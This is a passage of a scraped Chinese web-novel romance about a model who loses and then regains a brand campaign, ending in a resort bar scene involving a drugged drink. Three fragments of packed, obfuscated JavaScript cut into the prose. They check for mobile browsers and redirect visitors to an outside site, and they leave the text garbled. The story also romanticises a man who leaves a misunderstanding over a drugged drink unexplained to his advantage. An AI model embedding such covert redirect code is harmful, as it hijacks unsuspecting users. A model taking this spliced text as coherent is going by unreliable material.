d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357385|198722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要调整情绪,尽快入戏。 一整天下来腰酸背痛,尹昭情趴在床上,把枕头垫在肚子下面,边玩手机边给自己捶背。 要是小红豆在就好了,可以帮自己揉揉肩膀。 尹昭情切屏幕,去魏域的官网搜了搜,发现这款机器人没上架,甚至连新闻都搜不到,大概是个保密项目。 他把小部分钱存在银行卡,剩下的大部分汇给父母,最后留了一点零花。 尹昭情给荷园所有师姐妹都点了奶茶送了小礼物,给琳姐买了按摩仪,给姥姥定做了个翡翠手镯。 “散财童子啊你?”白锦发语音骂他,“不要挣了钱就挥霍,我们都有收入,你照顾好自己就行了!烦人!” “对不起师姐,偶知道惹!”尹昭情回她。 “奶茶很好喝!耳环很漂亮!谢谢!”白锦说。 “好的。”尹昭情笑。 一连五天,尹昭情晚上七点都准时抵达香榧华府。 他近期拍摄安排得很满,恰逢换季,品牌推出很多新衣服,每一件罩在尹昭情身上都很好看,他是天生的衣架子,观止总监对他称赞连连,甚至表达出深入合作的意愿。 有这样的暗示在,尹昭情认为宣传片他势在必得。 除了在魏英喆那儿待一两个小时外,尹昭情每天晚上回家还会自己练字。 他找小叔借了字帖,挑灯苦学。 一旦决定做某件事,就要做到最好,这是尹昭情的人生态度。 可惜时间仓促,越着急越容易出错。 尹昭情在书房蘸墨时眉心一拧,忽然慢慢放下笔。 小红豆察觉,冰冷的机械手掌摁在尹昭情前臂处,“是不是肌肉酸胀了?” “有点。”尹昭情被迫坐下,“你还会看病?” “不会。”小红豆有规律地摁压那块肌肉,“但我引擎功能强大,可以随时搜资料哦。” “情,你休息一下吧。”小红豆说,“趴在桌上放松大脑,或者做眼保健操,我可以给你放音乐。” 尹昭情摇头,但他的确可以缓五分钟,也不急于这一时。于是他把袖子往上,撩至手肘,露出一截光滑白皙的手臂,让小红豆给他按摩,自己则额头抵住书桌,闭目养神。 不知道从什么时候开始,尹昭情觉得冰凉的机械手指变得柔软且滚烫,他越品越不对,抬头,一下和魏英喆对视。 眼底闪过惊讶,他下意识想收回手臂,对方却按住他。 “别动。”魏英喆按摩他的穴位,粗糙指腹反复揉搓尹昭情发酸的大鱼际,就是大拇指根部那块肌肉,“再休息会儿,你太累了。” 温度不同的肌肤捱在一起,魏英喆力道不轻不重,一股暖流从指尖攀上大脑,四肢百骸的血液都舒缓地流淌,紧绷的肌肉很快被揉散,带来惬意轻快的感觉。 他的手指灵活起来,条件反射地,尹昭情指尖一动,在小麦色大手的手心里缓缓勾了勾。 魏英喆动作停滞一秒,喉结上下滚动几番,复又继续按摩。 ———— —— 12.12 - 观止的宣传片试镜定在户外。 面试前两天,尹昭情从魏英喆家里借了本字帖,临摹到晚上凌晨三点才洗漱睡觉。 户外场地选在明来湖,草场宽阔,周末两天这片园区被观止包场了,游客无法出入。 面包车停在路边,瑞贝卡在给司机转钱,尹昭情站在路灯下,欧包给他拎着包。 “好多车。”尹昭情新奇打量周围,“那边四台怎么都是一样的?” “红旗H9啊。”欧包眯眼,啧了声,“官车呢。应该是隔壁会所统一买的,这种一般用来接待大领导。” “贵吗?” “他们这种落地也就几十万吧,我是觉得还好。”欧包道,“我家车库里也有一台,老大你要是来我家玩我给你当司机,全天陪你。” 尹昭情拱手作揖:“不敢不敢,沈公子。” “不敢不敢,老大。”沈欧包爱财如命,兴奋地搓搓手,“我算了算,你如果拿下今天的试镜,不出半年就能自己提一台了。我天呢,跟着你混也太有面儿!我昨天跟我妈打视频,她还夸我眼光好,带了个一看就能红的艺人。” “那我只能拿下了。”尹昭情跟他碰拳。 瑞贝卡握着电话,边打边回头:“磨蹭什么?!还不赶紧!试镜要是迟到了扣的是谁的印象分?!” “来了卡姐!”尹昭情马上跟过去。 他现在对瑞贝卡有了崭新的认知。 没之前那么怕她,反而觉得卡姐其实是个很亲和的经纪人。 他们进入拍摄场地后,编导姐姐过来对接,她给了尹昭情一张纸,上面写着剧本,红底加粗的字是尹昭情需要注意的情绪和动作。 很快摄像组就将聚光灯对准他,几台摄像机在远处一齐转过镜头,现场工作人员安安静静,只有快门声。 尹昭情换上品牌给的衣服,半边头发用玉簪固定,垂下来的一侧还临时接了头发,长度到后腰。 湖边木桌上摆好拍摄道具,宣纸、砚台、毛笔。 摄影师端着设备走近,尹昭情提笔写字,暖光灯从侧面打过来,亭台楼阁、笔墨丹青、伊人在水。 “好,看镜头——”摄影师后退两米,拉长距离,对焦在他的脸上,“微笑。” 桌上的瘦金体洋洋洒洒写满古诗词,从高堂明镜悲白发到蜡炬成灰泪始干,拍了多久尹昭情就写了多久,把能背的词都写完,盯片的总监终于喊了停。 道具组来收宣纸时,发出一连串的抽气。 “靠,这是什么字体?!” “瘦金,有没有点文化你。” “怎么写得这么好???这是谁家公子进组了吧?” “风尚新签约的艺人。听说是纯素人。特别牛逼,签的是大魔王经纪人瑞贝卡,入行第一单拍的是观止平面,风尚给他预期定位是国际超模。说不定一年以后你能在大秀看见他。” “你听他说话了吗,声音也很好听,能不能做女性向as/mr啊?” “???” 一行人你掐我我掐你走了。 试镜试了一整天,观止那边同样说次日给回复。 尹昭情为了观止宣传片劳神劳力,试镜结束当天晚上睡了13个小时,醒来后满怀期待去公司报到。 他刚到总裁办,就听里面传来激烈的争吵。 “我操,他们是要死吗?!你别拦着我,我一定要去讨个说法!” “你讨什么说法?”萧确压低声音,“我求你了姐,在这个节骨眼上你就别惹事儿了,人家是甲方,甲方你懂什么意思吗?不能因为你是副总就行使特权!没选上就是没选上,难道你能摁着观止的脑袋逼他们签我们的艺人?” “昨天晚上起草的入围名单里明明写着尹昭情名字,另外一个女模是璀璨时尚的凯瑟琳,今天下午正式公布结果却把尹昭情名字剔除了?!说他们还没考虑好,打算进行二轮面?” “这种情况也不是没发生过。”萧确说,“姐你干这行也十几年了。” “是。”瑞贝卡冷笑,“这很正常是没错,在正式官宣之前他们内部重新决策,没问题。问题在于尹昭情连二轮面的资格都没有,这还不是有鬼?难不成还有人要带资进项目?观止打算给哪个权贵养的小情人名额了?” “没听说有这号人,应该不是。” “那在我这就更说不通。这拍摄非尹昭情莫属!” “...有没有可能是你对艺人自带滤镜,其实品牌方觉得其他人更合适?” 瑞贝卡应该是砸了个什么东西,办公室内传来玻璃破碎的声音,“萧确,你质疑我的眼光?” “没有没有...姐你先消消气。”男人安抚。 亲姐弟一场,萧确最知道怎么稳定瑞贝卡,里面交谈声小了很多,后续说了什么听不清,尹昭情在门口站了两分钟,被路过的欧包抓走。 “老大。”欧包一身冷汗,“你吓死我了,还好吧?里面世界大战没伤到你吧?” 尹昭情摁住欧包的手,抬眸:“你跟我说实话,发生什么了?” 欧包欲言又止,最后抓抓脑袋,放弃挣扎:“老大,观止内部昨晚透露消息,说打算签你,卡姐都在等合同了,今天又突然说要重新选,而且你不在二轮面的名单里。” “卡姐找人去问,观止到现在都没回消息。” “是吗。”尹昭情看看总裁办紧闭的大门,他问欧包,“他们不回我们难道就在这一直等?” “卡姐是风尚高层,不好做得太过火。欧包,你有没有兴趣跟我江湖悠悠一下?” “???”沈欧包张口就来,“快哉快哉,小生荣幸之至。” “那走。”尹昭情抓住他手臂就把人往外拉。 “走?!去哪?!” 半小时后,两人抵达观止大楼门前。 尹昭情叮嘱:“你在大堂等我,我随时和你联系,手机要保持通畅。” “好的老大。”欧包敬佩,“我挺你!” 在前台登记,周围路过的工作人员都交头接耳,时不时往他们这看一眼。欧包紧张地握拳,默念富贵险中求。 三分钟后一个面相和善的女人从电梯里走出来,邀请尹昭情上楼。 “我是贺总的秘书。贺总请您上去面谈。”秘书小姐笑着邀请尹昭情。 电梯直达顶层,尹昭情礼貌敲了敲门,一道低沉的嗓音响起:“进。” 办公桌上放着架立式铭牌,写着观止总裁贺文。 贺文三十多岁,戴着副眼镜,等尹昭情走进来,他抬手指指桌前的椅子,“先坐。” “尹昭情对吧?风尚的模特。” “对。贺总好。”尹昭情不卑不亢地打了声招呼。 室内传出翻阅文件的沙沙声。贺文没有再开口,拿着签字笔在几份文件上签名,一目十行地浏览。 尹昭情也不开口,静静看着对方。 时间一分一秒流逝,直到秘书进来换了杯茶,带上门,贺文才终于推了推眼镜,双手交叠撑在桌上,看向他,“听说了今天的事,百思不得其解,所以来找我?” “是。”尹昭情坐姿从容,背脊挺得很直。 “不甘心?”贺文笑。 “是。”尹昭情坦然。 “想知道我们为什么剔除了你的名字?” “如果只是这个就算了,为什么我连二轮面都没进?难道是我表现不够好?”尹昭情微笑,“外形上我最符合观止的口味,书法上我也能撑得住场面。” “还是说观止这次选模特,其实不看加分项?” “看。”贺文说,“当然看。正是因为看加分项,昨晚才定了你。” “那为什么?”尹昭情目光冷下来。 贺文往杯子里添了一些茶叶,开口:“如果我告诉了你真正的原因,你只会比现在还愤怒,还难过。即使如此你也想知道?” 尹昭情一愣。 这话什么意思? 斟酌片刻,尹昭情说:“我想知道。贺总不妨直说。” 贺文看他一眼,喝了几口茶,缓缓:“海峡议题一直都是很敏-感的话题。我们昨晚接到匿名检举信,说你可能存在立场不明确的隐患。” 听到这话,尹昭情身体僵住,犹如一道惊雷打在头顶般,他耳朵轰鸣。 贺文还真没说错,他一时气血急速上涌,心则坠入海底,口中五味杂陈,张嘴想说些什么,可是又真的什么都不能说。 说多错多,晴天霹雳。 他来观止之前设想过很多,也许真的存在卡姐口中描述的那样一号人物,什么权贵的小情儿,什么资本主义的大手,什么拼爹拼背景抢资源,如果真是这样,那他不和观止合作也罢。 一个自诩清流的国风品牌被权钱左右,拿这么的大项目浪费其他模特的时间,打着公平竞争的幌子遛狗,失去与他们合作的机会,尹昭情只会鄙夷和庆幸,不会惋惜。 但偏偏是这样的理由。 一个无论如何尹昭情都不能挖苦的理由。 见他表情千变万化,眼底惊疑不定,贺文叹气。 “我知道你想说什么。”贺文道,“当然是捕风捉影,当然是杞人忧天。但防患于未然是我们必须做的。” “观止有现在的规模,说没被盯着肯定不现实。这几年我们频频上新闻,也被央视报道过,业内同行调侃我们为半个国企,不止在国内,走出国门后,品牌影响力也很大。” “如果只是网店,只是平面,请你当模特当然没问题。可宣传片代表品牌形象,要做成十几种语言传播出去,面向海外,我们不能冒这个风险。平心而言,我知道你没有,你不会。但是公司不是我一个人的公司。” “说难听点,其实就是我们不敢。”贺文自嘲一笑,把尊重给到位,“综艺打码、明星禁令都是前车之鉴,我干嘛放着绝对安全的模特不用,非要用随时可能爆炸的你?” “可能说得有些重。但收到检举信,我们不能忽视。按照我们的要求,所有模特中你最优秀。可惜观止必须慎重。我很佩服你有能来当面质问我的勇气,但是我没有用你的勇气。”贺文说,“我讲完了。你听明白了吗?” “我听明白了。”尹昭情深呼吸一口气,这么一来一回,他情绪已经平稳,表情恢复了冷淡,“我能问问是谁交的检举信么?” “...”贺文头痛道,“这个恕我无法奉告了。主要是匿名形式,我也一头雾水。” 要泼莫须有的脏水很简单,一句话的事,要自证却很难。土生土长自然无需佐证,他夹在中间反倒不好说什么,难道喊一句口号就能证明他认同? 尹昭情站起身,鞠躬,“多谢贺总今天跟我说这些。那我走了。” 观止恐怕不会和他深入合作,什么发布会秀场,什么形象代言人,都止步于此,最多是续一个电商平台的合同。 但这次是观止,下次又是什么? 尹昭情起身时表情又冷又锋利,连细长的眉毛都成了长枪利剑。 见他神色不虞,贺文莫名有了惜才之心,忽然叫住他。 “你的瘦金体写得不错。”贺文退了一步,半开玩笑半认真,“你能担保吗?或者有人能给你担保吗?” 有人这两个字咬得挺重,作为主持人,尹昭情一下就听了出来。 身为CEO,贺文要查他来历不算难。 这话又有什么深意? “非遗这几年也是热点。”贺文道。 这回彻底听明白了,尹昭情皱眉回头,和贺文对视。 姥姥七十多岁,本来早就退隐,在荷园教学生唱戏纯粹是不想行业里后继无人,她身体也越来越吃不消,一到冬天就风湿,腿脚很不方便。 他不愿意麻烦老人家,不忍心叨扰也不想让至亲帮他承担什么。到时候要真出什么事,难道还要姥姥背锅? 凭什么?姥姥又不欠他。 “没有。”尹昭情说,“没人能给我担保。” “送他一下。”贺文最后道。 秘书拉开门,礼貌笑着,带尹昭情下楼。 沈欧包紧张:“老大,到底是怎么了?” “没事儿,这次不行就下次。”尹昭情笑着拍拍他脑袋,“你先回去吧,我今天有点累,请个假。” “啊?!”欧包错愕,但看尹昭情脸色有些白,好像确实不太舒服,只能道,“那有什么新的情况你再跟我说啊老大,我先走了?” 欧包一步三回头,打车离开。 尹昭情站在观止门口,不知道什么时候天变成灰青色,外面下了小雨,屋檐的雨丝一条条地落下。 他站了很久,再回过神腿都有些发麻。 欧包回去后给他发了信息,尹昭情打了一行字。 22岁曼妙继父:老大我回公司了,帮你请了假,卡姐说观止那边她还会再继续跟进,你不要伤心!实在不行辞职我养你吧! 情天娃娃:京A,车牌最后三个数字是888,这种车牌算靓号吗? 22岁曼妙继父:???? 22岁曼妙继父:靓得不能再靓了好吗,基本非富即贵。 22岁曼妙继父:咋了老大,你撞人家车了?! 情天娃娃:没事,我随口一问。感谢[比心] 这车牌号是那天那台库里南的。尹昭情匆匆一眼,已经烂熟于心。 晚上七点,尹昭情被闹钟吵醒。 他忘记关,最近一周都是这个时间点被接去香榧华府,今天忙了一天的拍摄,忘记晚上不用再去练字。 关掉闹钟,尹昭情坐起身,简单洗漱,吃了盘切好的果肉。 桌上还摆着他练字用的毛笔和宣纸,那本借来的字帖被翻得两侧卷边,尹昭情试图用手指抚平,无济于事,摸出手机打了个电话。 三声忙音,对面接起,低沉的磁嗓问:“怎么了?” “叔叔,我忘记把字帖还你。”尹昭情用牙签扎了块水果,塞进嘴里,“你在家吗?我送过去吧。” 魏英喆一顿,偏过头和旁边人说了什么,手机那边声音嘈杂,他道,“不在家。但你可以过来。” “啊?”尹昭情仔细听环境音,没听出门道,干脆问,“那在哪?在工作吗?我不方便打扰吧。” “没什么不方便的。不是在工作,在西山的别墅里。”魏英喆说,“要来吗,来我就让人去接你。” 神神秘秘。 尹昭情想了想,点头:“好吧,那我把字帖带上哦。” “不急,四十分钟下楼。” “好的。” 尹昭情磨蹭了会儿,收拾东西。他出门很随意,尽管是见魏英喆,也觉得没必要太过打扮,于是随便穿了件外套就下楼。 派来接他的人估计还在路上,尹昭情站在楼道口玩了会儿手机,直到一个黑影从细雨中驶过来,他抬头定睛一看,瞳孔一颤。 一辆红旗H9稳稳当当停在他面前,很酷很拽。 车窗降下,司机居然是高达。 “高伯伯?”尹昭情费解,“怎么不是宾利?换车了?” “车很多。”高达下来,帮他拉开车门,“这台是放在西山的,今天没限号,魏总就让我开来接您了。” “哦...”尹昭情问,“西山是什么地方?我听小叔说他在西山别墅,也是他的房产吗?” “哦那倒不是。西山在郊区了。”高达回答得并不是很全面,将导航定位到半山别院,“您要听什么歌自己放,很快就到。” 见他岔开话题,尹昭情摸摸脑袋,作罢。 半山别院是个养老区,风景优美,一座一座别墅都带小院子,尹昭情是刚来所以不了解,但凡在京市长大的人都听说过这块知名的地段。 走在这五步一厅长十步一书记,都是退休后归隐的。 等红旗开进院子,尹昭情才察觉到不对劲。 他下车,管家张叔撑着伞,站在旁边笑着欠身:“尹先生?” “您是?”尹昭情一下车就不敢动。 佣人气派,建筑宏伟,有种身处机关大院的感觉。 “我是管家,你叫我张叔就好了。”张叔撑伞送他到朱红色大门,“先进去吧,不用换鞋。” 尹昭情硬着头皮步入。 客厅都是木质家具,一面墙的壁柜上摆满了证书,还有很多照片。 他随便扫一眼就看到xx届x大代表等字眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359292|198722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沙发上的老人白发苍苍,但精神矍铄,一双眼睛锐利不减当年。 “...”尹昭情怔怔与之对视。 魏建胜也不客气:“叫爷爷。” “爷爷。”虽不明所以,但尹昭情清脆接上。 “来。”魏建胜笑了,招手。 聊了两句才知道,这是魏家老爷子。 尹昭情手指都快发抖,内心一阵悲鸣。 拜托... 他以为西山的别墅是小叔另外的住所,怎么居然是老爷子的家! “听你姥姥说,前段时间处理完所有手续,带你回了京。我平时不出山,没能去荷园看看你。”魏建胜掏出来一个大红包,“过年时我给了小辈,人手一个,今天补给你。” “钟琴也算是我知己好友,她两个孙子都长这么大了,你们要好好的。”魏建胜感叹。 尹昭情不好意思收:“这我不能要,爷爷,我都工作几年了,早就不是小孩。” 魏建胜笑:“在老人家眼里你们永远是小孩啊。” 说来奇怪,魏建胜长相严肃,看得出一向是拿主意的人,举手投足不怒自威,威风凛凛,但尹昭情却觉得他看自己的眼神很平和,很温柔,没有高高在上,也没有明褒暗贬。 “我...”尹昭情犹豫。 “收下吧。”魏英喆从楼上走下来,拨弄着耳朵上的助听器,朝茶几旁两人点头。 仿佛只是简单的问好,只是收声时多看了尹昭情一眼。 “那谢谢爷爷。”尹昭情笑,左右逢源,“也谢谢小叔。” 魏建胜问他:“来之前是和英喆打的电话?” 尹昭情应对自如:“是的,工作上和小叔有一些往来。” 魏建胜没再多问,请他到亭子里下棋。 走到半路,尹昭情回头,见魏英喆和高达跟在他们后面。 高达手语打得飞快,生怕尹昭情看清似的。 本来有了观止那一遭,尹昭情心情就不算好。他来西山两手空空,见这么大的长辈竟然一点礼物都不带,实在有失风度,始作俑者还在那优哉游哉调试助听器。 越想越不划算,尹昭情不由得瞪了魏英喆一眼。 仿佛在骂怎么不提前通知一下是拜访老爷子。 魏英喆看到了,脚步霎时间一顿。 尹昭情迅速扭过头,跟在爷爷身边,不再瞧他。 “他瞪我。”魏英喆喃喃。 “什么?”高达冷汗直冒,察言观色,“尹先生?” 但魏英喆脸色没有丝毫的愤怒。 “他居然瞪我。”魏英喆重复。 “...”高达赔笑,“您别生气,可能是您看错了。” 魏英喆其实非常高兴。 尹昭情展示了不为人知的一面。 他见到了更鲜活的尹昭情。 窗外雨一直在下,亭台里一老一少对坐,在下五子棋。尹昭情执白子,穷追不舍,或围堵或进攻,丝毫没有要礼让长辈的意思,眼中只有厮杀,俗称对对手的尊敬。 高达陪着魏英喆站在屋檐下,远远观望。 下了一炷香时间,亭子里安安静静,高达低声,有些看不明白了:“别的人但凡有点心思,这时候都该主动开口了。哪怕是旁敲侧击,也比只字不提要好。尹先生也不是不聪明的人,难道不懂吗?” 魏英喆静默,道:“他不是不懂,他是君子之风。” 放着大富大贵的太子爷不做,在台南电台尽职尽责干了三年,失业后才被老太太说服回京,回来后死也不肯改姓氏,为什么? 因为人已经远走他乡,倘若连起了二十多年的名字都更改,那他和养父母之间还剩下什么?二老难道不会伤心,不会多想? 尹昭情把亲情看得很重,远比众人能想象到的还重。 养育之恩他铭记在心。 钟老太太的非遗传承人是个不错的退路,或者靠山。稍微向观止或者风尚透露一些信息,给一点暗示,或者按照贺文说的,请尊长出动,他的路就会好走很多。 但他没有,为什么? 但凡是他尊敬的长辈,他都不忍心利用。 高达细细感悟,小心谨慎道:“原来如此。尹先生和您的确很般配。” 魏英喆却垂眸,眼皮遮挡情绪:“般配吗。” 高达赶紧附和:“当然!” 魏英喆:“可是我并非君子。” 高达心中一紧,久久不语。 “打个电话给贺家。”魏英喆看了看腕表,“就说老爷子一小时后会到访,给他们点时间准备招待。” “好的。”高达转身要去办,又被叫住。 “查一下检举信哪来的。”魏英喆说,“让贺文去查。魏域部门新开的数字展联名项目他们观止在竞标,告诉贺文,能不能中标就看他贺老板的标书里写没写检举人的名字。” 高达笑了:“明白。” - 一老一少博弈尽兴,最终尹昭情居然还赢了。 魏建胜觉得痛快,“棋艺不错,有学过?” “以前在电台工作,台长是我老师,跟他学的。”尹昭情道歉,“承让了,爷爷。” “不用。”魏建胜摆手,“不用跟我来这些虚的。年轻人多看多学是好事,技多不压身。” “你留下吃饭吧。我出门一趟。”魏建胜站起身,“让管家招待你,吃完再走,尝尝我这里厨师的手艺。” “谢谢爷爷。”尹昭情起身相送。 魏建胜从别院侧门上车,还是那台红旗H9。 尹昭情已经去了餐厅,魏英喆站在路边,帮老爷子带上车门。 临行前老爷子却降下车窗,手指点了点他。 “你很少开口让我办事。”魏建胜仿佛能洞悉一切的眼睛盯着他,“今天让昭情过来,只是让我见见旧友失散多年寻回的爱孙?” “您不是一直说想亲眼见见。”魏英喆道,“何况钟家的人情您还没还。” 魏建胜嘴角抽搐,跟前头司机道,“走。” 细雨渐停,尹昭情每样菜都尝一口,不敢多吃,但耐不住实在好吃,夹了一筷子又忍不住再夹一筷子,嘴巴就没停过。 字帖放在桌上,完好无损,魏英喆随手翻动,上面还残留少许的墨痕,是临摹时渗透留下的。 口袋里的手机振动,尹昭情取出来接听:“卡姐?” “你人在哪?!”瑞贝卡发出尖叫鸡的声音,“观止最后还是决定签你,宣传大片!!尹昭情!!” 电话里嗓音太大,他躲了一耳朵,跟受惊的小动物似的往旁边一缩,抬头时则马上看向旁边的人。 魏英喆装模作样来回翻动字帖,坐姿紧绷僵硬。 “...那很好了!”尹昭情慢慢道,“谢谢卡姐,我明天去公司签字。” 挂断电话,他饶有兴味地盯着魏英喆。 失而复得,喜不自胜。 尹昭情心情直线升上。 魏英喆逐渐翻不动字帖,叹气:“做什么一直这样看着我?” “不是你?”尹昭情近乎斩钉截铁。 “不是我。”魏英喆说。 “那就是爷爷。”尹昭情道,“我要好好感谢爷爷。我要给爷爷买好吃的,带爷爷逛好玩的,帮爷爷捶肩膀按后背,我还要给爷爷一个飞吻,感谢他帮我正名。” “...那我呢?”魏英喆眉头逐渐皱起。 “你?”尹昭情放下筷子,笑眯眯,“不是说这件事和你没关系吗,那我要做的那些也和你没关系。” 魏英喆:“..................” 看他欲言又止,又彻底黯淡的神色,尹昭情笑了好一会儿,最后还是隔空给他飞了一个。 “谢谢小叔,你别翻那字帖了,吃饭吧。” 魏英喆呆滞在原地,死死盯着尹昭情的侧脸,脑中无限循环方才他抛送飞吻的画面。 片刻后他视线落回字帖上,没撑住几秒,又悄悄看着桌边吃饭的尹昭情。 反复,反复好几次。 看不够。 远远,远远不够。 ———— —— 13.13 - 在风尚签完观止的宣传片合同,瑞贝卡给他协调档期,正式拍摄时间定在半个月后。 “上称我看看。”瑞贝卡从办公桌下端出来一个体重秤,“现在多重了?” 尹昭情脱掉外套和鞋子,尽量减轻服装的重量,紧张又小心地闭上眼睛,双手合十,虔诚道:“小刀保佑。” 瑞贝卡:“小刀是哪路神仙?” “是我养的石头。”尹昭情还是不敢睁开眼睛,“快告诉我我现在多重?昨晚我放纵了,对不起卡姐,我全都招。” 电子体重秤上的红色数字趋于稳定,最后定格在65.2kg。 “圆满完成。”沈欧包拍下照片留作记录,“老大你可以放心了,我们不用给公司赔钱了。” 瑞贝卡没想到他掉秤会这么快,一时有些担心:“身体有没有不舒服的地方?晚上睡得着觉么?胃口还好吧?不会厌食吧?改天带你做个体检。” 尹昭情点头:“没问题,我有在运动的。” “行。” 他们在瑞贝卡的办公室里挑选样片,观止速度快,目的在于抢占市场,网店已经上了换季新品,尹昭情的模特展示图占满页面。 萧确来时先敲了门,手里拿着三张邀请函,步入后放在桌上:“两个好消息,先听哪一个?” 瑞贝卡跟他吵过架,现在还在气头上,冷飕飕:“两个都不想听。” 萧确自己给自己台阶下,微笑鼓两下掌:“好的!那我们按照顺序来。” “第一个是观止方对我们表达了诚挚的歉意,决定在原有合同上追加大屏投送,到时候他们会联合城市,在地铁、商场等地播放宣传片,费用他们全包。” “第二个是这个。”萧确手指点了点三张邀请函,“观止近期在竞标魏域的项目,今天结果公布。他们中标了。” “双方公司周末举行签约仪式,定在新开发的度假村,顺便团建。观止邀请签约的模特团队一同前往庆祝。” 欧包翻译:“意思是请我们去玩对吧?有烧烤吗?!” “有。”萧确说,“还有篝火晚会等等。酒水全免,唱K随意,你们只要人到场就行。” - 度假村。 签约仪式结束后人群自然分流。 有的回酒店有的泡温泉,尹昭情和沈欧包被引荐到会所的酒吧。 酒吧仅对员工开放,楼上是包间。吧台后的酒柜用的是乌木架格,很多尹昭情叫不出来的酒封口,贴上标签,静置在那。 他和沈欧包一起坐在吧台前。 沈欧包在玩打火机,看得出他大学没少鬼混,他教尹昭情怎么把翻盖打火机转出花,最后甚至耍帅地打了个响指,啪一声把火花引到食指上,两秒后吹灭。 “不烫吗?”尹昭情赶紧抓过他的手检查。 “灭得快还好?我学了很久,其实是当年中二病犯了,纯装叉用。”沈欧包再打一个响指,跟调酒师点酒。 他给尹昭情分享最新的时尚咨询。 吧台人少,尹昭情坐在光影边缘,安静,却很难被忽视。碎发散在颈侧,衬得骨相清冷,有人来搭话他也不避,眉眼轻轻一弯,声音低而稳,水落玉一般。 “你是观止这次主推的模特吗?”那人举杯时拿出手机,“我可以跟你合影吗?” 尹昭情用杯沿和他相碰:“当然可以。” 沈欧包接过手机,帮两人拍照。 模特的镜头感比行外人强很多,尹昭情笑得恰到好处。 “魏总,这次给您安排的房间在...”酒保走在前,引领道。 魏英喆刚参加完签约仪式,西装革履,领带平整。高达跟在他身后,汇报着明天的行程安排。 “酒吧今晚有表演,您要不要留下来看?”酒保询问。 也不知道魏英喆听没听进去,他视线落在某个方向,半天没答话。 “魏总,您看想怎么安排呢?”酒保又问。 “嗯。”魏英喆应了声。 “...”酒保局促求助高达。 高达笑着打圆场:“不了,魏总一向不参加这些的。准备好晚餐送到套房就行。” 一来魏英喆听力不好,人越多他头越痛。二来今天是团建,老板在场其他人肯定放不开,魏英喆会自己避嫌。 他就像一个乒乓球,球桌两边的人都想尽办法把他打出去。 “好。”酒保鞠躬。 目送魏英喆上楼,高达到吧台前叫来了经理高雄。 “这个餐后半小时服用,你一会儿泡好让人送到套房给魏总。”高达拿出一个药盒,“这是老爷子请医生给魏总开的药,嘴巴严实一点。” 高雄接过:“知道了哥,放心吧,肯定走漏不了风声。魏总帮过我,我交代好手底下的人,他们会守口如瓶。” 高达拍拍他弟肩膀,接电话去了。 酒吧请来驻唱的乐队已经准备就绪,池台上还有人在表演钢管舞,尹昭情和欧包庆祝拿下宣传片,喝得有点多,从洗手间出来转了两圈都没找到路,在长而封闭的走廊里鬼打墙,最后干脆站在窗边吹风。 突然地,他听到脚步声。 转角的后厨里有个穿着服务生模样的男人端着盘子,步伐匆匆,边走边和对讲机的人说了什么。 餐盘上摆着瓶红酒,两个杯子,其中一个装了半杯的清水。 话讲到一半,男人掏出一个四四方方的盒子,把里面的白色药片倒入水中,摇晃均匀。 尹昭情酒瞬间醒了大半,脑中警铃大作。 他心道这就是成年人的世界么? 戏剧影视剧大学时品鉴得多了,加上三年电台工作经验,尹昭情自认为也算是见多识广,但这会儿他还是被商海浮沉的手段惊讶到。 下药? 谁给谁下? 他没敢多想,脚步踌躇几秒,立刻跟上。 虽然装傻充愣一向是职场上的保命守则,可他既然看到了,难道能见死不救? 嗑/药嗑得命都没了的新闻近几年也不是没有。 尹昭情脚步越发急促,他远远看见服务员上了电梯,两台都被占用,一上一下,时间根本来不及,眼看楼层停在8,顶楼。他转身进了安全通道,一口气跑上去。 长走廊铺着红地毯,服务生早已无影无踪。 客房区的门每一扇都紧闭,门口的房间号没有亮灯,说明里面暂时没人住。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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药效可能没那么快奏效。 魏英喆靠在墙边,静静观察尹昭情。从敲门开始,惊讶转而慌张,生气转而紧张,这一切他都看在眼里。 按理说他应该开口解释点什么。 但是他要开口吗? 诚然,这是一个天大的误会。 但是他要解释吗? 缘起露水情缘,缘灭露水之缘。 而他说过了,他不是君子。 有时候命运的转折不过转在一念之差。 魏英喆目光从尹昭情的眼睛一路慢慢往下,落在他微微突起的喉结上,语气同样惊讶,“原来里面有药,我不知道。” “你追上来就是为了这个?” 尹昭情没回答,空气有一瞬间的停滞,直到魏英喆目光锁定在他的嘴唇上,“那你还不走吗?” “什么?”尹昭情愣道。 “因为再不走的话可能就来不及了。”魏英喆说。 ———— ——